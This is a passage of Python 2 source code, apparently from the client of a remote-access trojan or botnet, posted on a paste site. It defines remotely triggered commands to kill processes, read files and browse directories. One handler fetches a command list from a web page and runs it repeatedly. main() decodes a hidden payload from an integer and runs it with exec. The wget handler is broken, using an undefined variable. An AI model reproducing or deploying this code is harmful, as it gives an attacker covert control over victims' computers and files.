  1609. if 'aux' in cmd or 'exe' in cmd:
  1610. return '\n'.join(i for i in self._get_process_list(executables=True))
  1611.  
  1612. elif 'kill' in cmd or 'terminate' in cmd:
  1613. try:
  1614. pr = psutil.Process(pid=int(arg))
  1615. pr.kill()
  1616. return "Process {} killed".format(arg)
  1617. except:
  1618. return "Process {} does not exist or access was denied".format(arg)
  1619.  
  1620. elif 'search' in cmd:
  1621. process_list = self._get_process_list(executables=True)
  1622. output = [next(process_list)]
  1623. while True:
  1624. try:
  1625. p = next(process_list)
  1626. if arg in p:
  1627. output.append(p)
  1628. except: break
  1629. if len(output) == 2:
  1630. output.extend(["","None found",""])
  1631. return '\n'.join(output)
  1632. except Exception as e:
  1633. return "Command '{}' returned error: '{}'".format(self.ps.func_name, str(e))
  1634.  
  1635. @command
  1636. def sleep(self, duration=60):
  1637. """
  1638. force client to sleep for the given duration
  1639. """
  1640. try:
  1641. self._sleep.set()
  1642. time.sleep(int(duration))
  1643. except Exception as e:
  1644. self._debug(str(e))
  1645. self._sleep.clear()
  1646.  
  1647. @command
  1648. def batch(self, args):
  1649. """
  1650. runs commands one per line from the web page
  1651. """
  1652. if not str(args).startswith('http'):
  1653. return "Invalid target - must begin with http:// or https://"
  1654. try:
  1655. uri, _, iterations = str(args).partition(' ')
  1656. iterations = 0 if not str(iterations).isdigit() else int(iterations)
  1657. commands = urllib2.urlopen(uri).read().splitlines()
  1658. while True:
  1659. for line in commands:
  1660. task, _, action = line.partition(' ')
  1661. if task in self._commands:
  1662. try:
  1663. result = self._commands[task]() if not action else self._commands[task](action)
  1664. task_id = self._task(task)
  1665. self._results[task_id] = {task: {time.time(): result}}
  1666. except Exception as e:
  1667. result = str(e)
  1668. if iterations > 0:
  1669. iterations -= 1
  1670. continue
  1671. else:
  1672. break
  1673. except Exception as e:
  1674. return "Command '{}' returned error: '{}'".format(self.batch.func_name, str(e))
  1675.  
  1676. @command
  1677. def cd(self, path='.'):
  1678. """
  1679. change directory
  1680. """
  1681. try:
  1682. return os.chdir(path) if os.path.isdir(path) else os.chdir('.')
  1683. except Exception as e:
  1684. return "Command '{}' returned error: '{}'".format(self.cd.func_name, str(e))
  1685.  
  1686. @command
  1687. def ls(self, path='.'):
  1688. """
  1689. list directory contents
  1690. """
  1691. try:
  1692. return '\n'.join(os.listdir(path)) if os.path.isdir(path) else 'Error: path not found'
  1693. except Exception as e:
  1694. return "Command '{}' returned error: '{}'".format(self.ls.func_name, str(e))
  1695.  
  1696. @command
  1697. def pwd(self):
  1698. """
  1699. show name of present working directory
  1700. """
  1701. try:
  1702. return '\n' + os.getcwd() + '\n'
  1703. except Exception as e:
  1704. return "Command '{}' returned error: '{}'".format(self.pwd.func_name, str(e))
  1705.  
  1706.  
  1707. @command
  1708. def cat(self, path):
  1709. """
  1710. display file contents
  1711. """
  1712. try:
  1713. return open(path).read(4000) if os.path.isfile(path) else 'Error: file not found'
  1714. except Exception as e:
  1715. return "Command '{}' returned error: '{}'".format(self.cat.func_name, str(e))
  1716.  
  1717.  
  1718. @command
  1719. def wget(self, url):
  1720. """
  1721. download file from url
  1722. """
  1723. try:
  1724. return urllib.urlopen(target).read() if target.startswith('http') else 'Error: target URL must begin with http:// or https://'
  1725. except Exception as e:
  1726. return "Command '{}' returned error: '{}'".format(self.wget.func_name, str(e))
  1727.  
  1728.  
  1729.  
  1730. def main(*args, **kwargs):
  1731. if 'w' in kwargs:
  1732. exec "import urllib" in globals()
  1733. imports = Client._long_to_bytes(kwargs['w'])
  1734. exec imports in globals()
  1735. if 'f' not in kwargs and '__file__' in globals():
  1736. kwargs['f'] = __file__
  1737. client = Client(**kwargs)
  1738. return client
Add Comment
Please, Sign In to add comment